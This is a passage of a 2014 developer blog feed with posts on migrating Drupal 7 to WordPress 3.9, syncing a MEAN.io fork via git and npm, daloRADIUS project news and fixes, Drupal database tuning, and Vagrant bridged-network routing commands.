&lt;p&gt;&lt;a href=&quot;https://www.udemy.com/step-by-step-drupal-7-to-wordpress-39-migration/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20141214030451im_/http://enginx.com/wp-content/uploads/2014/07/Drupal7MigrationToWordpress.png&quot; alt=&quot;Step-by-Step Drupal 7 to WordPress 3.9 Migration Learn how to migrate your content, users, and more from a Drupal 7 website to WordPress 3.9. By the end of this course, you will be able to migrate any Drupal 7 website to a WordPress 3.9 installation. Moreover, you will have an overall understanding of the differences between Drupal and WordPress table schema to estimate the migrated content scope. Includes a step-by-step video tutorial of how to migrate a Drupal website to WordPress. Includes a review of Drupal and WordPress database schema to understand migration effort and complexity. Enrich your skill-set with this knowledge and extend your WordPress consultancy reach&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step-by-Step Drupal 7 to WordPress 3.9 Migration Learn how to migrate your content, users, and more from a Drupal 7 website to WordPress 3.9.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Journey&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So, off I go on my journey to locate an easy process for migrating my content from Drupal 7 to WordPress 3.9 (versions are critical) and the conclusion is quickly made apparent that while there are handful of procedures, modules and guides on converting from WordPress to Drupal, the opposite flow is quite an uncharted area. This is understandable, given that Drupal is a lot more complex in terms of content structure variety as well as having more of a framework nature than a simple blogging platform, but still, I was pretty sure I’m not the only one.&lt;/p&gt;
&lt;p&gt;Researching the migration process it yielded a Drupal2Wordpress  &lt;a href=&quot;http://www.github.com/&quot;&gt;Github&lt;/a&gt;  repository which featured a minimal, yet effective, PHP script which claims to do the job. Unlike other solutions that I found, the migration script doesn’t require an actual live instance of both sites up (the old Drupal site, and the new WordPress site), but simply requires to be configured with the database connection details for both platforms and be uploaded to the hosting account which hosts both. Without further adieu, I jumped on to the task, and as with most things open source (and unpopular or unmaintained) – things aren’t quite working out of the box and require further development effort to fine-tune and create a solid migration.&lt;/p&gt;
&lt;p&gt;In a follow-up post I will share more details on the process of performing the actual migration to WordPress3.9, stay tuned!&lt;/p&gt;</content:encoded></item><item><title>Migrate Drupal 7 to WordPress 3.9 – The Conclusion</title><link>https://lirantal.com/blog/2014-07-15/</link><guid>https://lirantal.com/blog/2014-07-15/</guid><description>This entry is part 2 of 2 in the series Drupal 7 to Wordpress 3.9 Migration</description><pubDate>Sat, 12 Jul 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Migrate Drupal 7 to WordPress 3.9 - To recap, in a previous post on this series, I’ve set the background for my action to migrate from Drupal 7 to WordPress 3.9. In this post, we will explore the process of making this migration happen.&lt;/p&gt;
&lt;p&gt;If you’ve been on this search before to migrate from Drupal to WordPress, then you’ve realized that there aren’t a lot of resources, and that you may have some preferences in regards to the migration process. Some solutions that popped  &lt;a href=&quot;https://wordpress.org/plugins/cms2cms-automated-drupal-to-wp-migration/&quot;&gt;required to have both instances of Drupal and WordPress up and running&lt;/a&gt;  for some reason, but that didn’t fit my requirements as I wanted to use the same domain and not needing to setup another one just for the migration process. Other solutions are of course  &lt;a href=&quot;http://migratetowp.com/service-overview/&quot;&gt;professional support services&lt;/a&gt;  which will perform the migration for you, but you’d have to say goodbye to a few hundred dollars to begin with (prices range from $750 to $3500 for a website migration)&lt;/p&gt;
&lt;p&gt;Finding Drupal2Worpdress provided me a good start to get things rolling. As with most things on Github for me, I usually begin by forking a repository and  &lt;a href=&quot;https://github.com/lirantal/Drupal2Wordpress/&quot;&gt;Drupal2Wordpress&lt;/a&gt;  was no exception. Quickly after I reviewed the code in the original repository I found out that the script is very small and focused, without requiring any special dependencies or extra configuration which was my primary goal – finding the most simple solution as possible. Now I’m ready to take a stub at it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;My Video Course - &lt;a href=&quot;https://www.udemy.com/step-by-step-drupal-7-to-wordpress-39-migration/&quot;&gt;Step by Step Drupal 7 to WordPress 3.9 Migration&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I created a Video course on &lt;a href=&quot;http://www.udemy.com/&quot; title=&quot;Udemy&quot;&gt;Udemy.com&lt;/a&gt; to teach you the skills of migrating Drupal 7 to WordPress 3.9.&lt;/p&gt;
&lt;p&gt;I’d appreciate if you leave a review after taking the quick course&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.udemy.com/step-by-step-drupal-7-to-wordpress-39-migration/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20141101062237im_/http://enginx.com/wp-content/uploads/2014/07/Drupal7MigrationToWordpress.png&quot; alt=&quot;Step-by-Step Drupal 7 to WordPress 3.9 Migration Learn how to migrate your content, users, and more from a Drupal 7 website to WordPress 3.9. By the end of this course, you will be able to migrate any Drupal 7 website to a WordPress 3.9 installation. Moreover, you will have an overall understanding of the differences between Drupal and WordPress table schema to estimate the migrated content scope. Includes a step-by-step video tutorial of how to migrate a Drupal website to WordPress. Includes a review of Drupal and WordPress database schema to understand migration effort and complexity. Enrich your skill-set with this knowledge and extend your WordPress consultancy reach&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step-by-Step Drupal 7 to WordPress 3.9 Migration Learn how to migrate your content, users, and more from a Drupal 7 website to WordPress 3.9.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/05/drupal_7_to_wordpress3.9.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20141101062237im_/http://enginx.com/wp-content/uploads/2014/05/drupal_7_to_wordpress3.9-300x160.jpg&quot; alt=&quot;drupal_7_to_wordpress3.9&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;getting-to-business-with-drupal2wordpress&quot;&gt;Getting to Business with Drupal2Wordpress&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lirantal/Drupal2Wordpress/&quot;&gt;Drupal2Wordpress&lt;/a&gt;  is essentially very simple. It only requires to edit the PHP code at the beginning, and set the connection information correctly for both WordPress and Drupal database. That already implies on the characteristics of this migration tool – it expects that both instances of Drupal and WordPress are available through a database connection and since this tool has to be accessible and run on the hosting account service and be triggered from the web or from a cron job (because hosting accounts do not open their database servers to the public).&lt;/p&gt;
&lt;p&gt;Some of my fixes to this tool began with  &lt;a href=&quot;https://github.com/lirantal/Drupal2Wordpress/commit/d3c104cc836fe4f0feee3463def0d388e8bb5a9e&quot;&gt;importing&lt;/a&gt;  any content type from Drupal, yet making sure they are imported into WordPress as eligble posts content type (as opposed to pages for example, which aren’t blog related). URL aliasing has also been  &lt;a href=&quot;https://github.com/lirantal/Drupal2Wordpress/commit/2083571f87368559dd707af2391335030d1ab6ae&quot;&gt;fixed&lt;/a&gt;  so that imported posts in the new WordPress install are just working good, as well as another  &lt;a href=&quot;https://github.com/lirantal/Drupal2Wordpress/commit/1c797ff252a26cc619c171467f4520d2eea249da&quot;&gt;fix to migrate only approved comments&lt;/a&gt;. New additions to the tool included the  &lt;a href=&quot;https://github.com/lirantal/Drupal2Wordpress/commit/8bc6e4f9c1ea16dafe81bbfa9be552f746649ded&quot;&gt;support for migrating users&lt;/a&gt;, and adding a default ‘Blog’ category on WordPress and relating all posts to it (as otherwise they are not displayed).&lt;/p&gt;
&lt;p&gt;The tool has been tested and it only requires to get a fresh installation of WordPress 3.9 to migrate any Drupal 7 site to it. You’re welcome to fork out the repository or test it and comment so we can further improve upon it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lirantal/Drupal2Wordpress&quot;&gt;Drupal2Wordpress&lt;/a&gt;  – the Github repository.&lt;/p&gt;</content:encoded></item><item><title>MEAN.io v0.4 released – this is how you stay relevant</title><link>https://lirantal.com/blog/2014-07-03/</link><guid>https://lirantal.com/blog/2014-07-03/</guid><description>Getting started with MEAN.io JavaScript &amp; Node.js framework by keeping up with the git branch of development</description><pubDate>Thu, 03 Jul 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’re working with a fork of the  &lt;a href=&quot;https://github.com/linnovate/mean&quot;&gt;MEAN.io github repository&lt;/a&gt; then you’d probably want to &lt;a href=&quot;https://help.github.com/articles/syncing-a-fork&quot;&gt;track it as an upstream repository&lt;/a&gt; to get all the updates and advances in the MEAN.io framework as it progresses.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/groups/mean.io/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20141110232319im_/http://enginx.com/wp-content/uploads/2014/07/MEAN.IO_-260x300.png&quot; alt=&quot;MEAN.IO&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To set the upstream tracking, if you didn’t do it already you need to perform the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;git remote add upstream https://github.com/linnovate/mean.git  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;git fetch upstream  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;git checkout master  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;git merge upstream/master  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above will add the  &lt;a href=&quot;https://github.com/linnovate/mean&quot;&gt;official MEAN.io github repository&lt;/a&gt;  as your upstream repository to track it, it fetches everything (doesn’t merge anything though), then you’ll be switching to your local master branch and merge any changes with the above (you can rebase too to get a cleaner copy of the repository but it’s not always recommended).&lt;/p&gt;
&lt;p&gt;Once that’s done, you’re going to need to update packages accordingly, so run the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;npm cache clean &amp;#x26;&amp;#x26; npm install &amp;#x26;&amp;#x26; npm update  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;bower cache clean &amp;#x26;&amp;#x26; bower install &amp;#x26;&amp;#x26; bower update  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you’re still getting errors when trying to run mean or running the test suites with  &lt;code&gt;grunt test&lt;/code&gt;, then you probably need to clean up your node_modules information and re-install everything, as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mv public/ /tmp  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;mv node_modules/ /tmp  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;npm cache clean &amp;#x26;&amp;#x26; npm install &amp;#x26;&amp;#x26; npm update  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;bower cache clean &amp;#x26;&amp;#x26; bower install &amp;#x26;&amp;#x26; bower update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>daloRADIUS 7th Anniversary – 2014 Wrap-up</title><link>https://lirantal.com/blog/2014-06-20/</link><guid>https://lirantal.com/blog/2014-06-20/</guid><description>Celebrating 7 years of daloRADIUS project and it&apos;s success in the RADIUS networking and WiFi hotspots industry</description><pubDate>Fri, 20 Jun 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;http://www.daloradius.com/&quot;&gt;daloRADIUS&lt;/a&gt; project is celebrating it’s 7th Anniversary this month as a mature product on  &lt;a href=&quot;https://sourceforge.net/p/daloradius/&quot;&gt;SourceForge&lt;/a&gt; and one of the most leading open source project in this industry! I had a feeling I’d need to convince you so here’s the pitch with some slides and backing this up with numbers and data:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.scribd.com/doc/229669233/DaloRADIUS-2014-7th-Anniversary&quot; title=&quot;View DaloRADIUS 2014 - 7th Anniversary on Scribd&quot;&gt;DaloRADIUS 2014 – 7th Anniversary&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2013/01/daloradius-logo-transparent.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625165454im_/http://enginx.com/wp-content/uploads/2013/01/daloradius-logo-transparent.png&quot; alt=&quot;daloradius-logo-transparent&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.daloradius.com/&quot;&gt;daloRADIUS&lt;/a&gt; project was founded way back in the early days of April-May 2007.&lt;/p&gt;
&lt;p&gt;It started out as a mundane open source project which I desired to develop due to the unsupported and lack of solution in this  &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_operations_center&quot;&gt;Network&lt;/a&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Network_operations_center&quot;&gt;Operations Center&lt;/a&gt; (NOC) and overall RADIUS-based niche audience. Back then the &lt;strong&gt;only&lt;/strong&gt; open source solution for managing a  &lt;a href=&quot;http://freeradius.org/&quot;&gt;RADIUS&lt;/a&gt; based deployment was &lt;code&gt;dialupadmin&lt;/code&gt;, which was pretty poor in features, if to be honest, and it amazed me that no one else jumped the gun here.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Illustration – The RADIUS Protocol in a nut-shell&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/06/radius-protocol.gif&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625165454im_/http://enginx.com/wp-content/uploads/2014/06/radius-protocol.gif&quot; alt=&quot;radius-protocol&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And so it has began. I was out of work (then quitting a cool startup position due to no foreseeable career growth) and with nothing but time on my hands to kick off this project. One of the hardest thing I ever had to do was figure out how to name this project – one of the most annoying problems software engineers are faced with daily – naming variables, functions, classes and sometimes even their own projects.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/06/daloradius-interview-snippet-2008-freesoftwaremagazine.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625165454im_/http://enginx.com/wp-content/uploads/2014/06/daloradius-interview-snippet-2008-freesoftwaremagazine.png&quot; alt=&quot;daloradius-interview-snippet-2008-freesoftwaremagazine&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you’re hungry for the juicy gossip of why I ended up calling this project  &lt;a href=&quot;http://www.daloradius.com/&quot;&gt;daloRADIUS&lt;/a&gt;, you might want to give a quick read to an interview I had with t&lt;a href=&quot;http://www.freesoftwaremagazine.com/&quot;&gt;he FreeSoftwareMagazine&lt;/a&gt;  - &lt;a href=&quot;http://www.freesoftwaremagazine.com/articles/interview_liran_tal_author_daloradius&quot;&gt;http://www.freesoftwaremagazine.com/articles/interview_liran_tal_author_daloradius&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Drupal Performance Tuning for Better Database Utilization – Introduction</title><link>https://lirantal.com/blog/2014-06-14/</link><guid>https://lirantal.com/blog/2014-06-14/</guid><description>This entry is part 1 of 1 in the series Drupal Performance Tuning for Better Database Utilization</description><pubDate>Tue, 17 Jun 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://drupal.org/home&quot;&gt;Drupal&lt;/a&gt; is a great CMS or CMF, whichever your take on it, but it can definitely grow up to be a resources hog with all of those contributed modules implementing hooks to no avail. It is even worse when developers aren’t always performance oriented (or security oriented god save us all) and this can (unknowingly) take it’s toll on your web application performance.&lt;/p&gt;
&lt;p&gt;Drupal performance tuning has seen it’s share through many presentation decks, tutorials, and even dedicated books such as  &lt;a href=&quot;http://www.packtpub.com/&quot;&gt;PacktPub’s&lt;/a&gt; &lt;a href=&quot;http://www.packtpub.com/drupal-6-performance-tips-to-maximize-and-optimize-your-framework/book&quot;&gt;Drupal 6 Performance Tips&lt;/a&gt;  but it seems to be an always continuing task to get great performance so here are some thoughts on where you should start looking.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/06/meme-drupal-database-performance.jpg&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625154632im_/http://enginx.com/wp-content/uploads/2014/06/meme-drupal-database-performance.jpg&quot; alt=&quot;meme-drupal-database-performance&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Checklist for glancing further into Drupal’s rabbit hole and getting insights on tuning your web application for better performance:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Enable MySQL slow query log to trace all the queries which take a long time (usually &gt;1 is enough, and with later versions of MySQL or compliant databases like &lt;code&gt;Percona&lt;/code&gt; or &lt;code&gt;MariaDB&lt;/code&gt; you can also specify milliseconds for the slow query log)&lt;/li&gt;
&lt;li&gt;Enable MySQL slow query log to also log any queries without indexes&lt;/li&gt;
&lt;li&gt;Make sure to review all of those query logs with EXPLAIN to figure out which queries can be better constructed to employ good use of indexes. Where indexes are missing it’s worth reviewing if the database would benefit from modifying existing indexes (and not breaking older queries)&lt;/li&gt;
&lt;li&gt;Use  &lt;a href=&quot;http://www.percona.com/software/percona-toolkit&quot;&gt;percona-toolkit&lt;/a&gt;  to review out standing queries&lt;/li&gt;
&lt;li&gt;Use  &lt;a href=&quot;http://newrelic.com/&quot;&gt;New Relic’s&lt;/a&gt;  PHP server side engine which can tune into your web application and provide great analysis on function call time, wall time, and overall execution pipelines. While it’s not a must, I’ve personally experienced it and it’s a great SaaS offering for an immediate solution without having to need to install alternatives like  &lt;a href=&quot;http://xhprof.io/&quot;&gt;XHProf&lt;/a&gt; or  &lt;a href=&quot;https://code.google.com/p/webgrind/&quot;&gt;Webgrind&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title>MEAN.io Session Cookie parameters</title><link>https://lirantal.com/blog/2014-06-13/</link><guid>https://lirantal.com/blog/2014-06-13/</guid><description>How to configure the session cookie parameters in MEAN.io</description><pubDate>Fri, 13 Jun 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/linnovate/mean/commits?author=lirantal&quot;&gt;Continuing with my contribution&lt;/a&gt;  to the  &lt;a href=&quot;http://mean.io/#!/&quot;&gt;MEAN.io&lt;/a&gt;  (&lt;a href=&quot;http://www.mongodb.org/&quot;&gt;MongoDB&lt;/a&gt;,  &lt;a href=&quot;http://expressjs.com/&quot;&gt;ExpressJS&lt;/a&gt;,  &lt;a href=&quot;https://angularjs.org/&quot;&gt;AngularJS&lt;/a&gt;, and  &lt;a href=&quot;http://nodejs.org/&quot;&gt;NodeJS&lt;/a&gt;) technology stack (or should we say framework by now with the progress it’s been making?) &lt;a href=&quot;https://github.com/linnovate/mean/commit/532dea922c95403c97be317b8f4fc48d76c9008d&quot;&gt;I’ve submitted&lt;/a&gt;  another  &lt;a href=&quot;https://help.github.com/articles/using-pull-requests&quot;&gt;pull request&lt;/a&gt;  to allow setting up MEAN.io session cookie parameters.
It is often required for enterprise applications to set session cookie parameters and not rely on Express’s defaults. These parameters are for example the cookie expiration time, and whether the session cookie will require the website to run in an SSL-enabled environment.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/linnovate/mean/commit/532dea922c95403c97be317b8f4fc48d76c9008d&quot;&gt;This PR&lt;/a&gt;  adds support for default parameters on the cookie session and allows developers to set them as required globally, or per environment (development, testing, and production). Description on the session cookie parameters themselves have been added as well to make this easy to configure.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/06/adding-support-for-configurable-session-cookie-parameters-for-express-%C2%B7-532dea9-%C2%B7-linnovate-mean.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625172558im_/http://enginx.com/wp-content/uploads/2014/06/adding-support-for-configurable-session-cookie-parameters-for-express-%C2%B7-532dea9-%C2%B7-linnovate-mean.png&quot; alt=&quot;adding support for configurable session cookie parameters for express · 532dea9 · linnovate mean&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS Import Users – fix password type</title><link>https://lirantal.com/blog/2014-06-03/</link><guid>https://lirantal.com/blog/2014-06-03/</guid><description>A bug fix for importing users into daloRADIUS with a different password type than the default Cleartext-Password</description><pubDate>Tue, 03 Jun 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently an issue has been reported with regards to a defect in importing users into daloRADIUS with a different password type than the default &lt;code&gt;Cleartext-Password&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The source for this problem can be &lt;a href=&quot;https://sourceforge.net/p/daloradius/discussion/684102/&quot;&gt;tracked back&lt;/a&gt;  to an issue that Adam opened on  &lt;a href=&quot;http://daloradius.com/&quot;&gt;daloRADIUS’s&lt;/a&gt;  discussion &lt;a href=&quot;https://sourceforge.net/p/daloradius/discussion/&quot;&gt;board&lt;/a&gt;, which mainly concerns with the problem of importing users where the password type field is not the default &lt;code&gt;Cleartext-Password&lt;/code&gt;. A &lt;a href=&quot;http://sourceforge.net/p/daloradius/code/2119/&quot;&gt;fix&lt;/a&gt;  for this has already been deployed a couple months back.&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/05/daloRADIUS-Code-Commit-r2119-.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625161313im_/http://enginx.com/wp-content/uploads/2014/05/daloRADIUS-Code-Commit-r2119-.png&quot; alt=&quot;daloRADIUS   Code   Commit  r2119&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Vagrant networking to enable Internet accessible machine setup</title><link>https://lirantal.com/blog/2014-05-22/</link><guid>https://lirantal.com/blog/2014-05-22/</guid><description>Example of how to setup vagrant networking to enable Internet accessible machine setup with a Vagrantfile</description><pubDate>Thu, 22 May 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’re using &lt;a href=&quot;http://www.vagrantup.com/&quot;&gt;vagrant&lt;/a&gt;, like most  &lt;a href=&quot;http://en.wikipedia.org/wiki/DevOps&quot;&gt;devopsers&lt;/a&gt; out there, you might have also been on the road to run it on a local development machine and make it accessible through the Internet with some NAT rules on your modem or firewall. If you experienced this, and been struggling with getting vagrant networking to function right then we will look into a working setup for this purpose.&lt;/p&gt;
&lt;p&gt;The case where networking issues could occur, is most probably if you have configured more than one interface for the virtual machine, like I did. I’ve got one interface using NAT and the other interface is using bridged networking as you can see in the Virtualbox UI and the vagrantfile snippet:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/05/vbox-bridged.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625154358im_/http://enginx.com/wp-content/uploads/2014/05/vbox-bridged-300x246.png&quot; alt=&quot;vbox-bridged&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2014/05/vbox-nat.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140625154358im_/http://enginx.com/wp-content/uploads/2014/05/vbox-nat-300x242.png&quot; alt=&quot;vbox-nat&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vagrantfile configuration snippet for bridged networking:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Assign this VM to a bridged network, allowing you to connect directly to a&lt;/li&gt;
&lt;li&gt;network using the host’s network device. This makes the VM appear as another&lt;/li&gt;
&lt;li&gt;physical device on your network.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;config.vm.network :bridged, :bridge =&gt; &apos;p2p1&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;setting-up-vagrant-networking-and-routing-properly&quot;&gt;Setting up vagrant networking and routing properly&lt;/h2&gt;
&lt;p&gt;Because bridged networking provides an easy mechanism for virtual machines to exist side by side with your native OS and as part of your networked appliances seamlessly, this is by far the most convenient networking path to choose. Yet, vagrant doesn’t allow for bridged networking to use a static IP setup in it’s configuration but rather this is something that you’d have to take care of on your own.&lt;/p&gt;
&lt;p&gt;I find the easiest solution for this is to assign another static IP address, which I know it isn’t part of my home DHCP server address range, and apply it on the bridged network interface. This can be easily done as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;# get static ip on bridged iface&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ifconfig eth1:1 10.0.0.100 up&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, to handle routing correctly, it is required to remove the default route to 10.0.2.2 which is the address space used by &lt;a href=&quot;https://www.virtualbox.org/&quot;&gt;Virtualbox&lt;/a&gt; for NAT interfaces, and instead add a default gateway entry for the bridged interface:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;#get routes setup correctly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;route add default gw 10.0.0.138 eth1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;route del default gw 10.0.2.2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, an example for proper routing, or to examine your routing in general you can consult the following routing snippet:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;root@precise32:~# route -n&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Kernel IP routing table&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Destination Gateway Genmask Flags Metric Ref Use Iface&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;0.0.0.0 10.0.0.138 0.0.0.0 UG 100 0 0 eth1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;10.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 eth1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>daloRADIUS bug fix for refill traffic or time</title><link>https://lirantal.com/blog/2014-05-17/</link><guid>https://lirantal.com/blog/2014-05-17/</guid><description>An open source contribution from Ezequiel Villarreal to fix a bug in daloRADIUS&apos;s accounting interface</description><pubDate>Sat, 17 May 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With thanks to Ezequiel Villarreal, and another fine example of the  &lt;a href=&quot;http://en.wikipedia.org/wiki/Open_source&quot;&gt;open source&lt;/a&gt;  movement in general and the daloRADIUS users community in specific, a patch has been contributed to  &lt;a href=&quot;http://sourceforge.net/p/daloradius/code/2120/&quot;&gt;solve&lt;/a&gt;  an issue with refilling a user’s traffic or time limits in  &lt;a href=&quot;http://daloradius.com/&quot;&gt;daloRADIUS’s&lt;/a&gt;  Accounting interface.&lt;/p&gt;
